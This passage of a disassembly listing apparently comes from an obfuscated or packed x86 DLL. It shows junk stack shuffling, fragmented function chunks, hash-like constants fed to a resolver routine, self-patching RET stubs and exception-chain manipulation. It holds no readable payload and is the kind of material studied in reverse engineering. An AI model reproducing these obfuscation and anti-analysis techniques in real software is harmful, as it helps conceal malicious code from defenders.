10016D34 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10017118 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 1001757E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017C7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017CC8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 10019041 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001917C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10019E43 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A498 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001AB7A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001BAA8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001C6E7 SIZE 00000011 BYTES xchg edx, [esp+0] pop edx jo loc_10016BE8 sub al, 99h push 0E942B8A0h pop edx rol edx, 6 or edx, 85BF8B0Bh jmp loc_1001C6E7 sub_1001893F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001895F: ; CODE XREF: an.kk9rg:1001D2B5j add edx, 6B6283D8h mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_100165C9 jmp loc_1001CEFE ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_90. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10018977: ; CODE XREF: sub_100193F2-116Cj jmp loc_10014B92 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001897C: ; CODE XREF: an.kk9rg:loc_1001C5F9j jnz loc_10016FFC jmp loc_1001CE2A ; --------------------------------------------------------------------------- loc_10018987: ; CODE XREF: an.kk9rg:10015F7Aj jz loc_1001514F ; =============== S U B R O U T I N E ======================================= sub_1001898D proc near ; CODE XREF: an.kk9rg:1001756Ap arg_0 = dword ptr 4 xchg ecx, [esp+0] pop ecx push edi pop ebp xchg ecx, [esp-4+arg_0] jmp loc_1001842F sub_1001898D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001899B: ; CODE XREF: an.kk9rg:loc_1001821Fj ; an.kk9rg:10018231j add esi, 0FE04F0AEh push offset loc_10014CAB jmp loc_1001C82B ; --------------------------------------------------------------------------- loc_100189AB: ; CODE XREF: an.kk9rg:1001B829j mov [ebp+0], edx or ecx, 35F4C5A9h jmp loc_10019DF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_100189B9: ; CODE XREF: sub_10013389+4F4Aj call sub_1001DECE mov ds:dword_10019664, eax loc_100189C3: ; CODE XREF: sub_100182A3+14j ; sub_10013389+684Fj ... mov esp, ebp pop ebp push ds:dword_10019664 jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_100189D1: ; CODE XREF: an.kk9rg:100184EEj jz loc_1001C2B9 ; =============== S U B R O U T I N E ======================================= sub_100189D7 proc near ; CODE XREF: sub_100179FF-35C1p ; FUNCTION CHUNK AT 10014483 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016DFD SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001723D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001750E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017579 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001799F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CABF SIZE 00000008 BYTES xchg esi, [esp+0] pop esi imul byte ptr [edx] cmp al, 0A4h jmp loc_10014483 sub_100189D7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_100189E4: ; CODE XREF: sub_1001498A+6A84j add eax, eax cdq loc_100189E7: ; CODE XREF: an.kk9rg:1001C5FEj add eax, [esp+0] adc edx, [esp+arg_0] add esp, 8 jmp loc_1001D9D1 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_100189F6: ; CODE XREF: sub_1001C799:loc_10019B70j and ebx, 0FCE94231h test ebx, 10h jmp loc_1001D7E0 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10018A07: ; CODE XREF: sub_10018352:loc_10016D2Aj imul byte ptr [edx] push offset sub_10016167 loc_10018A0E: ; DATA XREF: _3a14gzkz:10027EB2o jmp loc_10017932 ; END OF FUNCTION CHUNK FOR sub_10018352 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_10018A13 proc near ; CODE XREF: sub_10015D9E+243j retn sub_10018A13 endp ; --------------------------------------------------------------------------- loc_10018A14: ; CODE XREF: an.kk9rg:1001DE3Dj jmp loc_10014B9D ; --------------------------------------------------------------------------- loc_10018A19: ; CODE XREF: an.kk9rg:100190CCj jmp nullsub_98 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018A1E proc near ; CODE XREF: sub_1001445Cp var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h ; FUNCTION CHUNK AT 1001C958 SIZE 0000002E BYTES ; FUNCTION CHUNK AT 1001DD46 SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+0] mov ebp, esp add esp, 0FFFFFEF8h jmp loc_1001DD46 sub_10018A1E endp ; =============== S U B R O U T I N E ======================================= sub_10018A31 proc near ; CODE XREF: sub_10013389+1C2j ; an.kk9rg:1001606Bp ; FUNCTION CHUNK AT 100153E7 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10017EA3 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001B306 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B978 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx call sub_100181E1 push esi push 397535EAh pop esi jmp loc_1001B978 sub_10018A31 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B19B loc_10018A46: ; CODE XREF: sub_1001B19B:loc_1001B1A3j call sub_100188BE mov eax, 11C9A2C5h call sub_100181E1 push ebx jmp loc_100195BB ; END OF FUNCTION CHUNK FOR sub_1001B19B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A70A loc_10018A5B: ; CODE XREF: sub_1001A70A:loc_10013B08j lea eax, [ebp-100h] push eax push eax mov eax, edi xchg eax, [esp+8+var_8] push 0D46DF374h push offset sub_1001C28F jmp nullsub_60 ; END OF FUNCTION CHUNK FOR sub_1001A70A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016B29 loc_10018A77: ; CODE XREF: sub_10016B29+Cj xchg ebx, [esp+0Ch+var_C] mov edi, ebx pop ebx and edi, 0CE67CD66h jmp loc_10014C4E ; END OF FUNCTION CHUNK FOR sub_10016B29 ; --------------------------------------------------------------------------- loc_10018A88: ; CODE XREF: an.kk9rg:1001CD52j sub ebx, 0E1FA5437h or ecx, edi sub edi, edx ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10018A92: ; CODE XREF: sub_10015D9E:loc_1001CD45j add eax, 0CEFF40CBh mov eax, [eax] or eax, eax jmp loc_10016551 ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018AA1: ; CODE XREF: sub_10013389:loc_1001D4A8j call sub_10014C0D call sub_10018AB1 retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10018AAC: ; CODE XREF: sub_10015E0D+4j jmp loc_1001D09A ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10018AB1 proc near ; CODE XREF: sub_10013389+571Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013133 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 100138E7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10013947 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100140FA SIZE 00000018 BYTES ; FUNCTION CHUNK AT 100165B2 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 10017077 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A5FD SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001B3DC SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001B452 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001BA64 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001BBEB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C15D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C9D6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001CDDB SIZE 00000007 BYTES push edx mov edx, ebp jmp loc_10013947 sub_10018AB1 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_10018ABA proc near ; CODE XREF: an.kk9rg:10014CF8j ; sub_10015B5D:loc_10015B61p ; FUNCTION CHUNK AT 10014306 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 1001B9F9 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx or eax, eax jnz loc_1001430C call sub_10015168 or eax, eax jmp loc_1001B9F9 sub_10018ABA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_10018AD2: ; CODE XREF: sub_10019595+3F2j mov edi, ebp xchg edi, [esp+4+var_4] mov ebp, esp push edx ; END OF FUNCTION CHUNK FOR sub_10019595 ; START OF FUNCTION CHUNK FOR sub_10016167 loc_10018ADA: ; CODE XREF: sub_10016167:loc_10019D4Cj jmp loc_1001AD00 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10018ADF: ; CODE XREF: sub_1001B096-591Ej jz loc_10018AFD shl ebp, 6 jmp loc_10018AFB ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_10018AED: ; CODE XREF: sub_100151FD+8517j shr ebp, 1Eh mov ebx, 0A910BFA4h pushf ; END OF FUNCTION CHUNK FOR sub_100151FD ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10018AF6: ; CODE XREF: sub_1001B5A3-82AEj jmp loc_10015F94 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B096 loc_10018AFB: ; CODE XREF: sub_1001B096-25AEj sbb eax, edi loc_10018AFD: ; CODE XREF: sub_1001B096:loc_10018ADFj add edx, 0F64A8F45h add edx, ebp call sub_10015C14 loc_10018B0A: ; CODE XREF: an.kk9rg:1001C175j jmp loc_10014197 ; END OF FUNCTION CHUNK FOR sub_1001B096 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_10018B0F: ; CODE XREF: sub_100188EE+2BB0j jmp loc_1001C2C4 ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10018B14: ; CODE XREF: sub_100138FD:loc_10015123j mov edx, [ebp-8] call sub_1001B413 loc_10018B1C: ; CODE XREF: sub_10019C34+2510j jmp loc_10017D97 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- loc_10018B21: ; CODE XREF: an.kk9rg:loc_1001CB7Dj jz loc_10015B92 jmp loc_1001A556 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_10018B2C: ; CODE XREF: sub_10015066:loc_1001D353j jl loc_1001850D mov ebx, edi jbe loc_10018711 jmp loc_1001850B ; END OF FUNCTION CHUNK FOR sub_10015066 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_10018B40: ; CODE XREF: sub_100153B8+7j jmp loc_10019AE7 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015168 loc_10018B45: ; CODE XREF: sub_10015168+6j jmp nullsub_39 ; END OF FUNCTION CHUNK FOR sub_10015168 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_10018B4A proc near ; DATA XREF: sub_10015BA9+3ADCo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10015B04 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10017B49 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 10017BF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017F77 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001CA28 SIZE 00000018 BYTES xchg eax, [esp+0] mov ebp, esp push ecx push edi push 48D89B09h jmp loc_10017BF4 sub_10018B4A endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10018B5B: ; DATA XREF: an.kk9rg:100190B3o push 5F03609h pop ebx or ebx, 0DDB19C64h and ebx, 5ECB55B2h xor ebx, 8BF77EB9h jmp loc_10017EC5 ; --------------------------------------------------------------------------- loc_10018B78: ; DATA XREF: an.kk9rg:1001B203o jz loc_10018866 call sub_10018B90 jnz loc_10018866 mov eax, ebx jmp loc_1001995E ; =============== S U B R O U T I N E ======================================= sub_10018B90 proc near ; CODE XREF: sub_10017A34+14p ; an.kk9rg:10018B7Ep ... mov eax, [ebx+ecx] xor eax, [ebx+ecx+4] cmp eax, 7C61090Eh retn sub_10018B90 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136FF loc_10018B9D: ; CODE XREF: sub_100136FF+20C7j jmp loc_1001CB82 ; END OF FUNCTION CHUNK FOR sub_100136FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019030 loc_10018BA2: ; CODE XREF: sub_10019030-5767j jmp loc_10017830 ; END OF FUNCTION CHUNK FOR sub_10019030 ; --------------------------------------------------------------------------- loc_10018BA7: ; CODE XREF: an.kk9rg:loc_10019A8Bj add [ebp-8], eax mov eax, [ebp-8] shr eax, 6 xor [ebp-8], eax jmp loc_1001A849 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_10018BB8: ; CODE XREF: sub_1001DBEB-59Dj pop eax add eax, 98070C7Fh xor eax, 0B0DB02EBh call sub_100181E1 mov ds:dword_1000203C, eax lea eax, nullsub_11 mov byte ptr [eax], 0C3h jmp nullsub_11 ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; --------------------------------------------------------------------------- pop edx jmp loc_1001337B ; --------------------------------------------------------------------------- pop edi jmp sub_10019571 ; --------------------------------------------------------------------------- loc_10018BEA: ; DATA XREF: sub_1001B0B1+12o mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jz loc_1001372F jmp loc_100142ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10018BFB: ; CODE XREF: sub_1001997C:loc_10014020j mov edi, eax pop eax ror eax, 12h mov edx, [esp-4+arg_0] push ecx mov ecx, eax xchg ecx, [esp+0] mov eax, edx jmp loc_1001A0A3 ; END OF FUNCTION CHUNK FOR sub_1001997C ; --------------------------------------------------------------------------- cdq sbb edi, 0F9D02C72h jmp sub_1001753F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_10018C1D: ; CODE XREF: sub_10015988+3AE6j rol eax, 0Fh pop eax xor ebp, edi jmp loc_10016F54 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C8CE loc_10018C28: ; CODE XREF: sub_1001C8CE-2D3Fj xchg edi, ebx ; END OF FUNCTION CHUNK FOR sub_1001C8CE ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018C2A: ; CODE XREF: sub_10015B5D-23CEj ; sub_10015C77+13j ... jmp loc_1001BC4B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015C77 loc_10018C2F: ; CODE XREF: an.kk9rg:loc_100152B3j ; sub_10015C77+820j ... pop ecx xchg ebx, [esp-8+arg_4] mov ebp, ebx pop ebx jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_10015C77 ; --------------------------------------------------------------------------- loc_10018C3B: ; CODE XREF: an.kk9rg:1001841Bj push 0F4C14135h add eax, ebp cmp ecx, 4CDA56F3h jmp loc_100148AB ; =============== S U B R O U T I N E ======================================= sub_10018C4D proc near ; CODE XREF: sub_1001C758:loc_10019C29p ; an.kk9rg:1001D3E9j ; FUNCTION CHUNK AT 10015420 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10016DBE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100170AF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017ACD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001902B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AED7 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 1001B4A3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 1001B7CA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B9F4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C47A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CC8A SIZE 0000001D BYTES xchg esi, [esp+0] pop esi jz loc_1001B7CA call nullsub_10 jmp loc_10016DBE sub_10018C4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_10018C61 proc near ; CODE XREF: sub_1001534D-1B10j ; FUNCTION CHUNK AT 10016C58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017098 SIZE 00000017 BYTES add esp, 0FFFFFED8h mov [ebp-8], edx jmp loc_10016C58 sub_10018C61 endp ; --------------------------------------------------------------------------- locret_10018C6F: ; CODE XREF: an.kk9rg:loc_1001D74Cj retn ; --------------------------------------------------------------------------- loc_10018C70: ; CODE XREF: an.kk9rg:1001C180j jle loc_10019476 ; =============== S U B R O U T I N E ======================================= sub_10018C76 proc near ; CODE XREF: sub_10015995:loc_1001A5AAp ; FUNCTION CHUNK AT 100132D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100145E8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100150AE SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001601E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100163FA SIZE 00000021 BYTES ; FUNCTION CHUNK AT 10016D2F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001782B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018FCE SIZE 00000014 BYTES ; FUNCTION CHUNK AT 100191EE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A1E3 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx test byte ptr [ebp-8], 20h jz loc_100150AE jmp sub_1001A7BD sub_10018C76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10018C89: ; CODE XREF: sub_100194EA+F54j call sub_10018CA1 mov [ebp-4], eax loc_10018C91: ; CODE XREF: sub_100194EA+F47j ; sub_10016FA0:loc_1001B1EBj ... mov eax, [ebp-1Ch] call sub_100141F5 mov [ebp-8], eax jmp loc_10013AD1 ; END OF FUNCTION CHUNK FOR sub_100194EA ; =============== S U B R O U T I N E ======================================= sub_10018CA1 proc near ; CODE XREF: sub_100174F4-423Bp ; an.kk9rg:loc_10014532j ... ; FUNCTION CHUNK AT 1001D169 SIZE 00000027 BYTES jns sub_1001B943 push ebp mov ebp, esp loc_10018CAA: ; CODE XREF: an.kk9rg:loc_100169F5j jmp loc_1001D169 sub_10018CA1 endp ; --------------------------------------------------------------------------- sbb edx, esi jmp sub_10014FD4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_10018CB6: ; CODE XREF: sub_10018066+21F6j pushf push 902A2E5Ah pop eax or eax, 0F2DEF23Eh ; END OF FUNCTION CHUNK FOR sub_10018066 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018CC3: ; CODE XREF: sub_1001A97E:loc_10017C2Ej add eax, 4F195891h and eax, 935868h jmp loc_10018DBE ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10018CD4: ; CODE XREF: sub_1001985B+8j jno loc_1001A98F sub al, 99h push 8AFA0838h pop edx jmp loc_10017846 ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- loc_10018CE7: ; CODE XREF: an.kk9rg:10014778j ; an.kk9rg:loc_100199A8j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C489 jmp loc_1001A39E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B319 loc_10018CF8: ; CODE XREF: sub_1001B319-39BEj inc dword ptr [ebp-1Ch] jmp loc_1001B8B5 ; END OF FUNCTION CHUNK FOR sub_1001B319 ; --------------------------------------------------------------------------- loc_10018D00: ; CODE XREF: an.kk9rg:loc_100199DDj push offset sub_1001AA84 jmp loc_100183CB ; --------------------------------------------------------------------------- loc_10018D0A: ; CODE XREF: an.kk9rg:loc_100136F9j jmp ds:dword_1000202C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_10018D10: ; CODE XREF: sub_1001D392+Fj jmp loc_100167EC ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10018D15: ; CODE XREF: sub_1001C28F-3A6Fj jmp loc_10014258 ; END OF FUNCTION CHUNK FOR sub_1001C28F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_195. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb al, 24h mov edx, ebx pop ebx jns loc_1001A289 jmp loc_1001CAFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D8D9 loc_10018D2B: ; CODE XREF: sub_1001D8D9:loc_1001C746j xchg esi, [esp+0] jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001D8D9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10018D34: ; CODE XREF: sub_10013389+3F70j jmp loc_10019BD4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001767A loc_10018D39: ; CODE XREF: sub_1001767A-31CAj jmp loc_1001A853 ; END OF FUNCTION CHUNK FOR sub_1001767A ; --------------------------------------------------------------------------- loc_10018D3E: ; CODE XREF: an.kk9rg:1001B485j shl eax, 11h ; START OF FUNCTION CHUNK FOR sub_1001537B loc_10018D41: ; CODE XREF: sub_1001537B:loc_1001AB30j rol edx, 10h xor edx, 5808B410h add edx, ebp add edx, 277E0BA8h jmp loc_10019613 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10018D57: ; CODE XREF: sub_10015D9E+4E93j jz sub_10015276 jmp loc_1001C37B ; END OF FUNCTION CHUNK FOR sub_10015D9E ; =============== S U B R O U T I N E ======================================= sub_10018D62 proc near ; CODE XREF: an.kk9rg:100177CBj ; sub_10014317:loc_10018866p ; FUNCTION CHUNK AT 1001A917 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D378 SIZE 00000002 BYTES xchg edi, [esp+0] pop edi xor eax, eax loc_10018D68: ; CODE XREF: sub_10015276:loc_1001995Ej ; sub_10017A34+364Cj pop large dword ptr fs:0 pop edx pop ecx jmp loc_1001A917 sub_10018D62 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A8DD loc_10018D76: ; CODE XREF: sub_1001A8DD+Dj jz loc_1001754F jmp sub_1001A0AD ; END OF FUNCTION CHUNK FOR sub_1001A8DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_10018D81: ; CODE XREF: sub_10013999:loc_1001A671j adc edx, eax jnp loc_10017759 or esi, ebp cmp edx, eax jmp loc_100157AD ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_10018D92: ; CODE XREF: an.kk9rg:loc_1001DAB9j xor ebx, 4C0E29FCh jnz loc_1001DEFD ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018D9E: ; CODE XREF: sub_1001A97E+EC1j jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- and ecx, 1F40ECCBh jmp loc_1001DEFA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_158. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD8B loc_10018DAF: ; CODE XREF: sub_1001DD8B+18j jmp loc_1001DEB4 ; END OF FUNCTION CHUNK FOR sub_1001DD8B ; --------------------------------------------------------------------------- loc_10018DB4: ; CODE XREF: an.kk9rg:1001BBCAj jmp loc_1001AFE3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_10018DB9: ; CODE XREF: an.kk9rg:100190ACj ; sub_1001C2D8-B60j jmp nullsub_100 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10018DBE: ; CODE XREF: sub_1001A97E-1CAFj jmp loc_10016729 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_10018DC3: ; CODE XREF: sub_100180C2+150j jmp loc_10019758 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- loc_10018DC8: ; CODE XREF: an.kk9rg:1001C10Cj jz loc_1001B004 jmp loc_1001D309 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10018DD3: ; CODE XREF: sub_10016D66+1722j ; sub_1001A6F7:loc_1001B01Ej mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_1001C4A9 jmp loc_1001876B ; END OF FUNCTION CHUNK FOR sub_10016D66 ; =============== S U B R O U T I N E ======================================= sub_10018DE4 proc near ; DATA XREF: sub_1001DECE:loc_1001D294o add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax push offset loc_1001CD24 jmp loc_100134F6 sub_10018DE4 endp ; --------------------------------------------------------------------------- call sub_1001AD24 ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_10018DFE: ; CODE XREF: sub_10014A06+7A5Aj jmp nullsub_103 ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10018E03: ; CODE XREF: sub_1001564A+60C4j jmp loc_10017AF2 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10018E08: ; CODE XREF: an.kk9rg:10014C22j mov eax, edi test esi, 0A3F50CD6h jmp loc_10013633 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DD1D loc_10018E15: ; CODE XREF: sub_1001DD1D+18j mov eax, 7DA6ACC0h call sub_100181E1 mov ds:dword_10002014, eax lea eax, nullsub_5 loc_10018E2B: ; CODE XREF: an.kk9rg:loc_100153C4j mov byte ptr [eax], 0C3h jmp nullsub_5 ; --------------------------------------------------------------------------- loc_10018E33: ; CODE XREF: sub_1001DD1D+4j push offset loc_100157F5 jmp loc_1001376B ; END OF FUNCTION CHUNK FOR sub_1001DD1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10018E3D: ; CODE XREF: sub_100136D7+9ED3j or eax, ds:100000C6h xor eax, 1305FA0Fh add eax, ebp add eax, 1B8DF94Ch jmp loc_1001C86B ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_10018E56 proc near ; CODE XREF: sub_1001A6D2+DBCp ; an.kk9rg:1001CE01j ; FUNCTION CHUNK AT 10014070 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi call sub_100174F4 jmp loc_10014070 sub_10018E56 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_10018E64: ; CODE XREF: sub_1001A6D2+4j ror eax, 1Dh xor eax, 6FBB2124h push edi push 0EF8D3AC1h pop edi ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; START OF FUNCTION CHUNK FOR sub_1001997C loc_10018E74: ; CODE XREF: sub_1001997C+4j jmp loc_10013889 ; END OF FUNCTION CHUNK FOR sub_1001997C ; =============== S U B R O U T I N E ======================================= sub_10018E79 proc near ; CODE XREF: sub_10013389+4220p ; an.kk9rg:100197ACj ; FUNCTION CHUNK AT 10016105 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016A57 SIZE 00000005 